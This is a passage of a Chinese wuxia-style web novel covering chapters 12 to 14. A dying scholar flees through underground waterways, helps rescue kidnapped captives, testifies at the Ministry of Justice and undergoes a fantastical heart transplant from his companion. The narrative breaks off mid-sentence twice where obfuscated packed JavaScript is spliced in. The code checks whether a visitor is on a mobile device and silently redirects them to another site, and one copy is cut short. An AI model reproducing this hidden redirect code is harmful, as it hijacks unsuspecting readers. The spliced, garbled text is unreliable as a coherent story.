马匹吃痛,嘶鸣一声,朝着左侧小路狂奔而去。江清砚回头,只见谢云辞调转马头,朝着追兵冲了过去! 月色下,那道身影单薄却决绝。 江清砚的眼睛模糊了。 他死死攥紧缰绳,伏在马背上,任由马匹带着他冲进黑暗。 胸口的痛越来越烈,意识渐渐涣散。 但在彻底失去意识前,他脑中只有一个念头: 谢云辞,你要活着。 一定要活着。 因为你说过,要护我到京城。 君子一诺,千金不换。 你不能食言。 12. 第 12 章 第十二章水下迷城 马匹冲过岔路,冲进一片黑压压的槐树林。 江清砚几乎是从马背上滚下来的,落地时眼前金星乱冒,胸口像是被重锤猛击,痛得连呼吸都困难。他蜷缩在厚厚的落叶上,一只手死死按住心口,另一只手颤抖着去摸怀中的药瓶。 药瓶空了。 最后一粒药,半个时辰前吃了。 他绝望地闭上眼,能感觉到生命的温度正从四肢百骸迅速流失。远处隐约传来马蹄声和呼喝声,追兵没有完全被谢云辞引开,至少有一队人朝着这个方向追来了。 不能死在这里。 这个念头像淬了毒的针,刺进他涣散的意识里。他挣扎着爬起,手撑在地上,摸到了一块尖锐的石头。 对了……石头…… 他想起医书上记载的方子——在特定穴位施以重刺,可激发心脉潜能,暂续生机。但那是以损耗寿命为代价的禁术,若非绝境,绝不可用。 但现在,就是绝境。 江清砚咬紧牙关,用尽最后力气,将石头尖锐的一端对准自己胸口几处大穴,狠狠刺下! 剧痛! 像是有什么东西在体内炸开,血液瞬间沸腾。他眼前一片血红,喉咙里涌上腥甜,却奇迹般地感觉到那股濒死的窒息感退去了些,四肢重新有了力气。 但这不是生机,是回光返照。他知道,自己最多只有半个时辰。 他踉跄站起,牵过马,翻身上去。马儿似乎感受到主人的濒死状态,焦躁地刨着蹄子。江清砚伏在马背上,低声道:“走……往有水的地方走……” 马儿通人性,打了个响鼻,载着他朝树林深处跑去。 槐树林尽头,果然有水声——不是溪流,而是更大的水声,轰隆隆的,像是……瀑布? 江清砚勉强抬头,透过枝叶缝隙,看到前方山崖上挂着一道白练,在月光下泛着银光。瀑布下方是个深潭,潭水幽深,映着月光,黑沉沉的像块墨玉。 而潭边,赫然立着一块石碑,碑上刻着三个字: 断龙潭。 江清砚心中一动。他记得地图上标注过——断龙潭是断龙峡的一部分,潭底有暗河与运河相通。若是…… 身后追兵的马蹄声越来越近,火把的光已能透过树林。 来不及多想了。 江清砚翻身下马,拍了拍马颈:“走,自己逃命去。” 马儿蹭了蹭他的手,转身跑进树林深处。江清砚则快步走到潭边,深吸一口气,纵身跃入冰冷的潭水! 水瞬间淹没头顶,刺骨的寒意像无数根针扎进皮肤。他屏住呼吸,凭着最后一点清醒的意识,朝着潭底潜去。 月光透过水面,勉强照亮水下世界。潭底怪石嶙峋,水草摇曳,果然有一条暗河的入口,黑黝黝的,像巨兽张开的口。 他朝着暗河入口游去,却忽然感觉小腿一紧——被水草缠住了! 他奋力挣扎,但体力早已耗尽,眼前阵阵发黑。就在意识即将涣散的瞬间,一只手从黑暗中伸出,抓住了他的胳膊! 那只手很有力,将他从水草中拽出来,拖进了暗河入口。 暗河里一片漆黑,水流湍急,带着他向前冲去。那只手始终抓着他,带着他在水中转折、避让,像是在这漆黑的水道中也能视物。 不知过了多久,水流渐缓,前方出现微弱的光。他被拖出水面,放在一处石台上。 “咳咳……”江清砚剧烈咳嗽,吐出几口冰冷的潭水。视线模糊,只能隐约看到身旁蹲着个人影。 “你不要命了?”那人声音低沉,带着水汽的回音。 江清砚勉强抬眼,终于看清对方——是个浑身湿透的青年,约莫二十出头,眉眼清秀,却透着股与年龄不符的沉稳。他穿着粗布短打,腰间别着把匕首,脚上是特制的水靠。 “你……是谁?”江清砚哑声问。 “我叫水生,是这水下的‘清道夫’。”青年说着,伸手探了探江清砚的额头,眉头皱起,“你在发烧,心脉也很乱……你用了禁术?” 江清砚一惊,没说话。 水生也不追问,从怀中掏出一个小皮囊,倒出两粒药丸递给他:“吞了,能护住心脉三个时辰。三个时辰后若得不到救治,神仙也难救。” 药丸带着淡淡的腥苦味,江清砚没有犹豫,接过吞下。片刻后,胸口那股灼痛果然缓解了些,呼吸也顺畅了许多。 “多谢……”他低声道。 水生摆摆手,站起身,打量着这个地下空间。这里显然是暗河中的一个天然溶洞,洞壁湿滑,顶上垂挂着钟乳石,滴滴答答地往下滴水。洞里有微光,是从一个洞口透进来的——那洞口外,隐约能看到粼粼的水光,还有……船只的影子? “外面是运河?”江清砚问。 “嗯,断龙峡段。”水生点头,“这里是水鬼帮用来藏匿‘货物’的秘窟之一,我盯了很久了。” 水鬼帮。 江清砚猛地看向他:“你知道水鬼帮?” “何止知道。”水生冷笑,“我一家五口,都是被水鬼帮害死的。我爹是漕工,因为不肯帮他们运‘私货’,被沉了江。我娘和妹妹……”他顿了顿,声音发哑,“被掳走了,至今下落不明。” 他说着,转头看向江清砚:“你呢?你又是怎么惹上他们的?” 江清砚沉默片刻,简略说了老君洞和账本的事。水生听完,眼神变得复杂。 “原来你就是那个揭了水鬼帮老巢的书生。”他低声道,“我听说过你。蓟州码头的兄弟传消息说,有个病弱的书生和六扇门的总捕头联手,端了老君洞,还带走了重要的账本。” “账本在谢云辞那里。”江清砚急切地问,“你看到他了吗?他引开追兵,不知……” “他没事。”水生打断他,“我的人看到他往京城方向去了,追兵没追上。但他一个人带着账本进京,恐怕路上还会有埋伏。” 江清砚稍稍松了口气,却又揪起心来。京城还有三百里,这一路上…… “我要去找他。”他挣扎着要起身。 “就你现在这样?”水生按住他,“三个时辰后禁术反噬,你连站都站不起来,怎么找?” 江清砚语塞。 水生看着他苍白如纸的脸,忽然叹了口气:“算了,救人救到底。我送你一程。” “你?” “我熟悉水路。”水生道,“从断龙潭顺暗河下去,有一段废弃的漕运水道,直通京城郊外的白河。走水路,比陆路快,也安全。” 江清砚眼睛一亮:“当真?” “我骗你做什么。”水生站起身,走到洞口,“不过那条水道年久失修,有些地方塌了,得潜水过去。你现在的身体……” “我能撑住。”江清砚斩钉截铁。 水生深深看了他一眼,点了点头:“好。跟我来。” 他率先钻出洞口,江清砚紧随其后。洞口外是一段狭窄的水道,仅容一人通过,两侧石壁长满青苔,滑不留手。水道里水深及腰,冰冷刺骨。 两人一前一后在水中跋涉,走了约莫一炷香时间,前方出现岔路。水生毫不犹豫地选择了左边那条更窄的。 “右边那条是死路,被水鬼帮布了陷阱。”他解释道,“左边这条虽然难走,但安全。” 江清砚点头,忽然想起什么:“水生,你刚才说这里是水鬼帮藏匿‘货物’的秘窟之一……还有别的秘窟?” “多着呢。”水生冷笑,“断龙峡这一段,暗河纵横,天然溶洞无数。水鬼帮在这里经营多年,把好些溶洞都改造成了仓库和牢房。我追踪他们三年,也只摸清了七八处。” “那……你可知道‘药庐’?” 水生脚步一顿,猛地回头:“你去过药庐?” “昨夜潜入,听到了些东西。”江清砚将所见所闻简要说了一遍,尤其是观澜书院和都水司的线索。 水生的脸色越来越沉。 “难怪……”他喃喃道,“难怪他们掳人还要挑有才学的,还要教他们礼仪、口音……原来是在为观澜书院输送‘门生’。” 他顿了顿,声音更冷:“至于都水司……三年前负责漕运稽查的周郎中,就是在断龙峡‘遇匪身亡’的。当时我就在附近,亲眼看到他的官船被凿沉,尸体……根本没找到。” 江清砚心头一震:“你是说……” “周郎中是清官,查出了水运上的猫腻,所以被灭口。”水生咬牙道,“后来接管漕运的都水司里,就有人和水鬼帮勾搭上了。这几年他们运‘私货’越来越肆无忌惮,就是因为上头有人。” 暗河水声潺潺,衬得他的声音格外清晰。 江清砚沉默良久,忽然问:“水生,你为何不报官?” “报官?”水生笑了,笑声里满是苦涩,“报给谁?县衙?府衙?还是直接报刑部?你知道水鬼帮背后牵扯了多少人?我若贸然去报,恐怕还没走出衙门,就‘意外’死了。” 他说着,看向江清砚:“所以我才说,你胆子真大。敢揭这个盖子,还敢带着账本进京。你知不知道,这一路上有多少人想要你的命?” “知道。”江清砚平静地说,“但有些事,总要有人去做。” 水生看着他,许久,缓缓点了点头。 “好。”他说,“我帮你。不是为了你,是为了给我爹娘报仇。” 两人继续前行。水道越来越窄,水也越来越深,到最后只能潜水通过。水生递给江清砚一根中空的芦苇管,让他咬着换气。 “前面那段完全在水下,约莫三十丈长。憋住气,跟紧我。”水生嘱咐道。 江清砚点头,将芦苇管咬在口中,深吸一口气,潜入水中。 水下世界一片漆黑,只有水生手中提着一盏特制的水下灯笼,发出幽幽的绿光,勉强照亮前方几尺。水草摇曳,怪石嶙峋,偶尔有鱼从身边游过。 江清砚紧紧跟着那道绿光,胸口越来越闷,心口的剧痛又开始发作。他知道,禁术的时间快到了。 但他不能停。 他咬着芦苇管,拼命划水,眼前阵阵发黑。就在他几乎要晕过去的瞬间,前方忽然一亮——出水了! 水生将他拖上岸,两人躺在一块巨大的岩石上,大口喘息。 这里又是一个溶洞,但比之前那个大得多,洞顶有裂隙透进天光,已是黎明时分。洞中堆着些木箱、麻袋,还有……几具白骨。 “这里是水鬼帮的一个仓库,废弃很久了。”水生坐起身,环视四周,“再往前走一段,就是废弃的漕运水道入口。从那里可以直通白河。” 江清砚挣扎着坐起,看向那些白骨。白骨有七八具,衣衫早已烂尽,但从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863488|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骨骼形态看,有男有女,甚至有孩童。 “这些是……”他声音发颤。 “是被掳来的人。”水生低声道,“‘不合格’的,或者‘不听话’的,就被丢在这里自生自灭。我找到这里时,他们已经死了很久了。” 江清砚闭上眼睛,不忍再看。 这水下的迷城,究竟吞噬了多少无辜的生命? “走吧。”水生站起身,“天快亮了,我们必须在天亮前进入水道,否则容易被发现。” 两人继续前行。这个溶洞的另一端果然连着一条人工开凿的水道,宽约两丈,水深及胸,两侧石壁整齐,还留着当年架设纤道的木桩痕迹,只是都已腐朽。 水道很长,一眼望不到头。水生提着灯笼在前引路,江清砚咬牙跟着,每一步都像踩在刀尖上。 走了约莫半个时辰,前方忽然传来水声——不是流水声,而是……划水声?还有人声? 水生立刻吹熄灯笼,拉着江清砚躲到一处石壁凹陷处。两人屏息静听。 “快点!天亮前必须把货卸完!”一个粗嘎的男声。 “老大,这次‘货’成色不错啊,都是读书人。”另一个声音谄媚道。 “废话少说!赶紧搬!观澜书院那边催得紧,月底前必须送到!” 观澜书院! 江清砚心中一凛,悄悄探头看去——只见前方水道岔口处,停着两艘黑船,正是老君洞那种“鬼船”。十几个黑衣人正从船上往下搬木箱,木箱很沉,两个人抬一个都吃力。 而木箱的缝隙里,隐约传出压抑的呜咽声。 里面是人。 “他们在转运‘货物’。”水生在他耳边低声道,“看来老君洞被端了,他们换了地方。” 江清砚握紧了拳。他看着那些被当做货物搬运的木箱,看着黑衣人粗暴的动作,胸中一股怒火熊熊燃烧。 但他不能冲动。他现在连站都站不稳,冲出去就是送死。 “记下这里的位置。”水生低声道,“等到了京城,报了官,带人来端了它。” 江清砚点头,强迫自己冷静下来。他仔细观察周围环境,记住岔口的位置、船只的数量、黑衣人的特征…… 忽然,一个黑衣人朝他们藏身的方向走来,边走边解裤带,显然是要小解。 越来越近。 江清砚的心提到了嗓子眼。水生已摸出匕首,眼神凌厉。 就在黑衣人即将发现他们的瞬间,岔口另一侧忽然传来急促的哨声! “有情况!撤!”为首的黑衣人厉喝。 黑衣人立刻丢下木箱,跳上船,黑船迅速驶入黑暗的水道,消失在拐弯处。 只留下那几个木箱,孤零零地搁在岸边。里面的呜咽声更清晰了。 水生和江清砚对视一眼,快步走过去。木箱用铁条钉死,水生用匕首撬开一条缝——里面果然是几个人,有男有女,都被绑着手脚,堵着嘴,眼中满是惊恐。 “别怕,我们是来救你们的。”水生低声道,开始撬箱子。 江清砚也帮忙,但他的力气实在太小,撬了几下就眼前发黑,几乎晕倒。水生连忙扶住他:“你歇着,我来。” 他动作很快,不多时就将几个木箱全部撬开,救出里面的人。一共七个,五个书生打扮,两个女子,都是年轻貌美。 “多……多谢恩公……”一个书生颤抖着道谢。 “别多说,先离开这里。”水生打断他,看向江清砚,“能走吗?” 江清砚咬牙点头。 一行人沿着水道继续前行。获救的人虽然虚弱,但求生意志强烈,互相搀扶着跟上。 走了约莫一刻钟,前方终于出现亮光——不是天光,而是火把的光。还有整齐的脚步声,甲胄碰撞声。 是官兵! “前面的人!站住!”一声厉喝。 水生脸色一变,正要拉着江清砚躲藏,却见江清砚忽然挣脱他的手,踉跄着走上前,高举双手: “学生江清砚,润州举子!身后是被水鬼帮掳掠的无辜百姓!求官爷搭救!” 火把的光照亮了他的脸,苍白,虚弱,却带着不容置疑的坚定。 为首的军官快步上前,打量他片刻,又看了看他身后那群狼狈的人,神色缓和了些:“你真是举子?路引呢?” 江清砚取出早已湿透却还勉强能辨的路引和学籍文书。军官查看后,点了点头。 “你们怎么会在这里?” 江清砚简略说了被追杀、跳水逃生、发现水鬼帮转运“货物”的事。军官越听脸色越凝重。 “此事非同小可。”他沉声道,“本官是京畿卫戍营的校尉,奉令巡查白河水道。既然遇上,自当管到底。”他转身吩咐手下,“护送这些人出水道,安置妥当。再调一队人,去刚才那个岔口搜查!” 士兵们应声行动。江清砚终于松了口气,身体一软,向后倒去。 水生眼疾手快扶住他。 “你……”水生看着他惨白的脸,眼中闪过复杂的神色。 “我没事……”江清砚虚弱地笑了笑,“总算是……逃出来了。” 他抬起头,看向水道出口的方向。那里,天光越来越亮。 京城,快到了。 谢云辞,你还好吗? 账本,一定要送到啊…… 13. 第 13 章 第十三章真相与抉择 白河码头,晨雾未散。 京畿卫戍营的营房里,江清砚裹着厚实的军毯,捧着一碗热姜汤小口啜饮。禁术的反噬比预想的更凶猛,他浑身冷得像冰块,指尖青紫,连碗都端不稳。 水生坐在他对面,已换上了干净的粗布衣裳,头发还湿着。他盯着江清砚看了许久,忽然开口:“你活不过今天。” 语气平静,像在陈述一个事实。 江清砚手一颤,姜汤洒了些出来。他放下碗,抬起头,脸色苍白得像纸,眼神却依然清亮。 “我知道。”他说。 禁术透支的是心脉本源,三个时辰已是极限。而此刻,距离他刺穴续命,已过去了两个半时辰。 营房外传来脚步声,是那位卫戍营的校尉——姓张,是个国字脸的中年汉子,行事雷厉风行。他大步走进来,面色凝重。 “江公子,你方才说的那些事,我已派人快马加急报往刑部。”他在桌前坐下,目光如炬,“但有些细节,还需再确认一遍——你说水鬼帮与观澜书院、都水司都有牵连,可有实证?” 江清砚从怀中取出那块从药庐得来的瓷片,还有从水鬼帮草偶身上撕下的布角,推了过去。 “瓷片上的莲花印记,是都水司某位官员的私徽。布角上的‘观澜’字样,是观澜书院学子服的标记。”他声音虚弱,却字字清晰,“学生亲耳听见药庐的主事人说,要为观澜书院输送‘文货’,且提到都水司有人遮掩此事。” 张校尉拿起瓷片和布角细看,眉头越皱越紧。半晌,他将东西小心收起,沉声道:“此事干系重大,我会上呈的时候一并附上。但是江公子……” 他顿了顿,看着江清砚:“你如今的状况,恐怕撑不到刑部审理此案的时候了。” 这话说得直白,却也是实情。江清砚默然片刻,轻声道:“学生只求真相大白,还那些枉死之人一个公道。至于我……生死有命。” 张校尉看着他,眼中闪过一丝敬佩。他站起身,抱拳道:“江公子高义,张某佩服。你放心,此事我必一查到底。” 说完,他转身大步离去,甲胄铿锵作响。 营房里重归寂静。 水生忽然道:“我认识一个大夫,或许能救你。” 江清砚抬眼看他。 “他在京城,是个怪人,但医术高明。”水生站起身,“你若信我,我这就带你去。” 江清砚没有立刻回答。他低头看着自己的手,指尖的青紫已蔓延到了手腕。他知道,自己的时间不多了。 “谢云辞……”他喃喃道。 “他比你命硬,死不了。”水生语气平淡,“倒是你,再耽搁,真就死了。” 江清砚苦笑。是啊,他连自己都救不了,还能担心谁? “好。”他终于点头,“麻烦水兄。” 水生二话不说,扶起他就往外走。营房外的士兵得了张校尉的吩咐,并未阻拦,还备了一辆马车。 马车驶离码头,进入京城。晨雾渐散,街道两旁的店铺陆续开门,早点摊子的热气混着食物的香气飘进车厢。行人渐渐多了起来,叫卖声、车马声、孩童的嬉闹声……京城的繁华扑面而来。 江清砚靠在车厢壁上,透过车帘缝隙看着这一切。这就是京城,他梦寐以求要来的地方。 可如今来了,却是以这样的方式。 马车穿过几条街巷,在一处偏僻的胡同口停下。水生扶江清砚下车,胡同很窄,两侧是高墙,墙头探出些枯黄的藤蔓。尽头有扇不起眼的木门,门楣上挂着块旧木牌,刻着两个字: 悬壶。 水生上前叩门,三长两短。片刻后,门开了条缝,一个苍老的声音传出:“谁?” “水生,带了个病人。”水生低声道。 门开了,开门的是个须发皆白的老者,穿着半旧的灰布袍,眼神却锐利得像鹰。他目光在江清砚身上一扫,眉头立刻皱起。 “禁术反噬,心脉将枯。”老者沉声道,“抬进来。” 水生扶着江清砚进门。院子很小,栽着些草药,空气里弥漫着浓重的药香。正屋是间诊室,摆设简单,却异常干净。 老者让江清砚躺在榻上,三指搭上他的腕脉,闭目诊了许久。再睁开眼时,脸色凝重。 “你这心疾是天生的?”他问。 “是。”江清砚答。 “禁术是谁教你的?” “书上看的。” 老者眼神一厉:“胡闹!那禁术叫‘燃血续命’,是以燃烧心脉精血为代价,强行续命三个时辰!三个时辰后,心脉枯竭,神仙难救!你看的是哪门子的邪书?!” 江清砚被他的气势慑住,哑口无言。 水生在一旁道:“薛大夫,还有救吗?” 薛大夫——也就是那老者——站起身,在屋里踱了几步,才道:“有,但风险极大。” “什么法子?”水生问。 “换心。” 两个字,石破天惊。 江清砚猛地睁大眼,水生也愣住了。 “换……心?”水生声音发颤,“这怎么可能……” “寻常大夫自然不可能,但我可以。”薛大夫转身,目光如电,“我师承前朝太医令,专攻外科奇术。换心之法,我研究了三十年,有七成把握。” 他顿了顿,看向江清砚:“但这法子,需要一个条件——必须有活人的心,且要与你生辰八字、血脉体质完全相合。否则,换了也是死。” 活人的心。 江清砚脸色惨白。他怎么可能为了自己活命,去要别人的心? “不行……”他挣扎着要起身,“我宁可死……” “躺下!”薛大夫厉喝,“你以为我是要你去杀人取心?我还没那么丧心病狂!” 江清砚怔住。 薛大夫从柜中取出一本泛黄的古籍,翻到某一页,指着上面的图文:“你看这里——‘若得将死之人心,以奇术续其生机,移于病者体内,两命相连,可共续一命’。这法子的关键在于,供心之人必须是濒死之身,且自愿献心。如此,他的生机未绝,你的心脉能借其延续。但代价是……” 他抬起头,一字一句道:“从此,你与他性命相连。他若死,你也死。你若有恙,他亦受损。且每月月圆之夜,心脉逆冲,痛苦难当。你们要同生共死,祸福与共。” 同生共死,祸福与共。 江清砚愣住了。 这听起来像是……某种诡异的共生之术? “可有……成功先例?”水生迟疑地问。 薛大夫沉默片刻,缓缓道:“三十年前,我师父为一对孪生兄弟施过此术。哥哥坠马重伤,心脉尽碎;弟弟自愿献心。手术成了,兄弟二人共享一命,活了十五年。但后来……” 他顿了顿,声音低沉:“后来哥哥卷入朝堂争斗,被政敌下毒。毒发时,弟弟同时心脉爆裂,两人……同日而死。” 屋子里死一般寂静。 窗外的阳光照进来,将空气中的尘埃照得纤毫毕现。 江清砚闭上眼,许久,才轻声道:“多谢薛大夫好意。但学生……不能如此。” “为何?”薛大夫皱眉,“你不想活?” “想。”江清砚睁开眼,眼神清澈,“但学生不能为了自己活命,将另一人的性命绑在身上。况且……这法子太过凶险,七成把握,终究还有三成可能会死。若手术失败,不仅我死,供心之人也会死。两条人命,学生赌不起。” 他说得很平静,却字字千钧。 薛大夫看着他,眼中闪过一丝复杂的神色。他行医数十年,见过太多为求活命不择手段的人,却第一次见到这样……近乎迂腐的坚持。 “你可知道,你活不过今日午时?”薛大夫沉声道。 “知道。”江清砚点头,“所以学生想在死前,再做一件事。” “什么事?” “去刑部,将水鬼帮的案子说清楚。”江清砚挣扎着坐起身,“账本在谢云辞那里,但许多细节只有我知道。药庐的位置,观澜书院的牵扯,还有都水司的疑点……这些,我必须亲口告诉主审官。” 他说着,看向水生:“水兄,可否再帮我一次?送我去刑部。” 水生张了张嘴,想说什么,却终究化作一声叹息。 “你这个人……真是傻。”他摇头,却还是扶起了江清砚,“走吧。” 薛大夫站在门口,看着两人互相搀扶着走出院子。阳光洒在那书生苍白却挺直的脊背上,竟有种悲壮的美。 “等等。”薛大夫忽然开口。 两人回头。 薛大夫从怀中取出一个小玉瓶,走过去塞进江清砚手里:“这是‘九转护心丹’,能暂时稳住你的心脉,保你半日性命。但半日之后……药石罔效。” 江清砚握紧玉瓶,深深一揖:“多谢薛大夫。” 薛大夫摆摆手,转身回了屋,关上了门。 马车重新上路,朝着刑部衙门驶去。 车厢里,江清砚吞下那颗九转护心丹。丹药入腹,一股暖流迅速蔓延至四肢百骸,胸口的剧痛果然缓解了许多。他知道,这是最后的回光返照。 半日。 他只有半日时间了。 “水生。”他忽然开口,“若我死了,麻烦你……帮我找找谢云辞。告诉他,账本一定要送到,水鬼帮的案子……一定要查到底。” 水生沉默片刻,点了点头。 “还有……”江清砚顿了顿,“告诉他,能与他同行一程,是我之幸。” 水生别过脸去,声音有些哑:“你自己跟他说。” 江清砚笑了笑,没再说话。 马车穿过一条又一条街道,终于在一座庄严的官衙前停下。黑漆大门紧闭,门楣上高悬“刑部”二字,笔力遒劲,肃穆威严。 水生扶着江清砚下车。两人刚踏上台阶,门内便走出两个衙役,厉声喝问:“什么人?刑部重地,闲人免近!” 江清砚取出张校尉给的文书和路引:“学生江清砚,有要案禀报。” 衙役接过文书查验,脸色稍缓:“等着,我去通报。” 不多时,一个身着青色官袍的中年官员快步走出,目光在江清砚身上一扫,眉头皱起:“你就是江清砚?” “正是学生。” “进来吧。”官员转身引路,“尚书大人正在堂上,听说你来了,要亲自问话。” 江清砚心中一凛。刑部尚书亲自过问,看来此事果然引起了重视。 他跟着官员穿过重重门廊,来到正堂。堂上高坐一人,年约五旬,面容清癯,眼神锐利如刀,正是刑部尚书李崇明。 堂下还站着几个人,其中一人转过身来——是谢云辞! 他一身风尘,衣袍上还带着血迹,显然也是刚到不久。两人目光相撞,谢云辞眼中闪过瞬间的震惊,随即是难掩的担忧。 江清砚对他轻轻点了点头,示意自己还好。 “学生江清砚,拜见尚书大人。”他躬身行礼,声音虽弱,却清晰。 李尚书打量他片刻,缓缓道:“你就是那个揭了水鬼帮老巢的书生?” “学生不敢居功,此乃蓟州陈捕头与谢总捕之功。” “账本已经呈上。”李尚书指了指案头那几箱账簿,“谢总捕已将案情大致禀报。但有些细节,他说只有你知道。” 江清砚深吸一口气,将如何发现老君洞、如何夜探药庐、如何在水道中见到水鬼帮转运“货物”、以及观澜书院和都水司的线索,一五一十道来。他讲得很细,从账本上的特殊标记,到药庐中的对话,再到那些被当做“货物”的举子的惨状…… 堂上一片寂静,只有他虚弱却坚定的声音回荡。 李尚书的脸色越来越沉,当听到“观澜书院”四个字时,眼中更是寒光一闪。 “你确定, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“第一,水鬼帮的案子,请大人一查到底,还那些枉死之人一个公道。” “本官答应你。” “第二……”江清砚看向谢云辞,“谢兄的仇,请大人……酌情相助。” 谢云辞浑身一震,不可置信地看着他。 江清砚却对他笑了笑,笑容里有歉然,有不舍,还有……某种说不清道不明的情绪。 然后,他转身,对着李尚书深深一揖。 “学生……别无他求。” 话音落下,他身体晃了晃,向后倒去。 “江清砚!”谢云辞一个箭步冲上前,接住了他倒下的身体。 入手一片冰凉。 江清砚闭着眼,呼吸微弱得像风中残烛。 “大夫!快叫大夫!”李尚书厉喝。 衙役们慌忙奔出。谢云辞抱着江清砚,手在颤抖。他从未如此慌乱过,哪怕面对生死关头。 怀中的人轻得像片羽毛,苍白得像张纸,仿佛下一秒就会消失。 “撑住……”谢云辞低声嘶吼,“你答应过要陪我走到京城的……你不能食言……” 江清砚似乎听到了,睫毛颤了颤,却终究没能睁开眼。 堂外,急促的脚步声传来。 是薛大夫,水生带着他赶来了。 “让开!”薛大夫快步上前,三指搭上江清砚的腕脉,脸色骤变,“心脉将竭……来不及了……” “你不是说有换心之法吗?!”谢云辞猛地抬头,眼中布满血丝,“救他!无论什么代价,我付!” 薛大夫看着他,又看看怀中的江清砚,忽然问:“你愿不愿与他……同生共死?” 谢云辞怔住了。 同生共死。 四个字,重如千钧。 堂上所有人都屏住了呼吸。 李尚书沉声道:“薛大夫,此法可行?” “七成把握。”薛大夫盯着谢云辞,“但要供心之人濒死且自愿。你如今生龙活虎,不符合条件。除非……” “除非什么?” “除非你服下‘假死药’,进入濒死状态。但假死药极其凶险,服下后三个时辰内若不能换心成功,你会真死。而即便成功,从此你与他性命相连,祸福与共,每月月圆之夜心脉逆冲,痛苦难当。你可愿意?” 谢云辞没有丝毫犹豫。 “愿意。” 他甚至没有问“假死药”是什么,没有问手术有多痛苦,没有问以后会怎样。 他只说,愿意。 为了这个萍水相逢、认识不到十日的书生。 薛大夫深深看了他一眼,从药箱中取出一个漆黑的瓷瓶:“服下,半个时辰后进入假死状态。我会立刻手术。” 谢云辞接过瓷瓶,拔开塞子,仰头就要灌下。 “等等。”李尚书忽然开口,“谢云辞,你可想清楚了?此术若成,你的命就绑在他身上了。他是病弱之躯,你……” “我想清楚了。”谢云辞打断他,目光落在江清砚苍白的脸上,“他救过我的命。如今,我还他。” 说罢,他仰头,将瓶中液体一饮而尽。 苦涩的药液滚入喉咙,迅速化作一股寒意,蔓延至四肢百骸。他感觉到自己的心跳在变慢,呼吸在变浅,意识渐渐模糊…… 最后看到的,是江清砚安静的睡颜。 然后,黑暗吞噬了一切。 薛大夫立刻指挥衙役将两人抬进后堂早已准备好的净室。手术需要绝对安静,闲人免进。 李尚书站在堂上,看着那扇紧闭的门,久久不语。 水生靠在门框上,抱着胳膊,眼神复杂。 堂外,阳光正好。 而门内,一场关乎两条生命的生死博弈,刚刚开始。 半日。 他们只有半日时间。 若手术失败,今日刑部后堂,将多出两具尸体。 若成功…… 那将是另一段故事的开始。 14. 第 14 章 第十四章赠令别离 净室内药香弥漫,混着淡淡的血腥气。 两张并排的木床上,谢云辞和江清砚静静躺着,皆面色惨白,呼吸微弱得几乎看不见胸口的起伏。薛大夫净了手,站在两张床之间,目光沉凝如水。 他身后站着两个年轻的助手,是刑部从太医院临时调来的太医学生,虽有些紧张,但手法还算娴熟,正按照薛大夫的吩咐准备器械:银针、丝线、薄刃小刀、特制的缝合钩针……还有几瓶颜色各异的药水,在烛光下泛着诡异的色泽。 “师父,一切都备好了。”其中一个助手低声道。 薛大夫点点头,走到谢云辞床边,三指再次搭上他的腕脉——脉搏已近乎停滞,但还未完全消失,正是假死状态的最佳时机。 “开始吧。”他沉声道。 助手们立刻行动。一人用银针封住谢云辞几处大穴,防止手术过程中血脉逆行;另一人则开始消毒器械。薛大夫则走到江清砚床边,轻轻解开他的衣襟,露出苍白瘦削的胸膛。 那颗心脏在单薄的胸腔下微弱地跳动,像即将熄灭的烛火。 薛大夫深吸一口气,从器械盘中拿起那柄薄如柳叶的小刀。刀锋在烛光下泛着寒芒,他手腕稳得像磐石,在江清砚心口上方划下一道精准的切口—— 皮肉分开,露出森白的肋骨。特制的撑开器固定住创口,胸腔内的景象一览无余:那颗心脏果然已呈现灰败之色,表面布满细密的裂纹,每一次搏动都显得异常艰难。 “记录。”薛大夫目不转睛地盯着那颗心脏,“先天心疾导致心肌发育不全,心室壁薄弱,多处陈旧性瘢痕。能活到今日,已是奇迹。” 助手快速记录。薛大夫又转向谢云辞——同样的切口,同样的撑开,胸腔内那颗心脏却截然不同:强健、饱满、搏动有力,只是此刻因假死药而缓慢下来。 “供心者体魄强健,心脏功能完好。”薛大夫继续口述,“心室肌肉厚度正常,瓣膜完整,无病变迹象。是上佳的供体。” 他顿了顿,看向两个助手:“接下来是手术最关键的一步——离体、移植、缝合。记住,心脏离体后必须在半刻钟内完成移植,否则生机断绝。缝合必须严丝合缝,不能有丝毫泄露。明白吗?” “明白!”两个助手齐声应道,额头已沁出汗珠。 薛大夫不再多言,重新净手,取出一副薄如蝉翼的丝质手套戴上。这是他用特制药水浸泡过的,能最大程度减少接触感染。 “离体开始。” 他的声音冷静得像在说今日的天气,手下动作却快如闪电。特制的止血钳夹住主要血管,薄刃小刀精准地切断心脏与身体的连接——先谢云辞,再江清砚。 两颗心脏被小心取出,放在特制的玉盘里,以药水维持着最后一点生机。 江清砚的心脏灰败萎缩,只有孩童拳头大小;谢云辞的心脏饱满有力,还在微弱地搏动。 “移植。” 薛大夫将谢云辞的心脏放入江清砚的胸腔。他的手指稳得惊人,在狭小的空间里穿针引线,将血管一根根对接、缝合。细如发丝的羊肠线在烛光下几乎看不见,但在他手中仿佛有了生命,灵巧地穿梭、打结。 时间一分一秒过去。 净室内只有器械碰撞的轻响,和几人压抑的呼吸声。窗外天色渐暗,已是黄昏时分。 终于,最后一根血管缝合完毕。 薛大夫直起身,长长吐出一口气,额头上已满是汗珠。助手连忙为他擦拭。 “检查吻合处,有无渗漏。” 助手仔细检查,确认每一处缝合都严丝合缝。 “注入‘续命汤’。” 特制的药液通过银针缓缓注入心脏。片刻后,那颗移植的心脏忽然轻微地颤动了一下—— 然后,开始跳动。 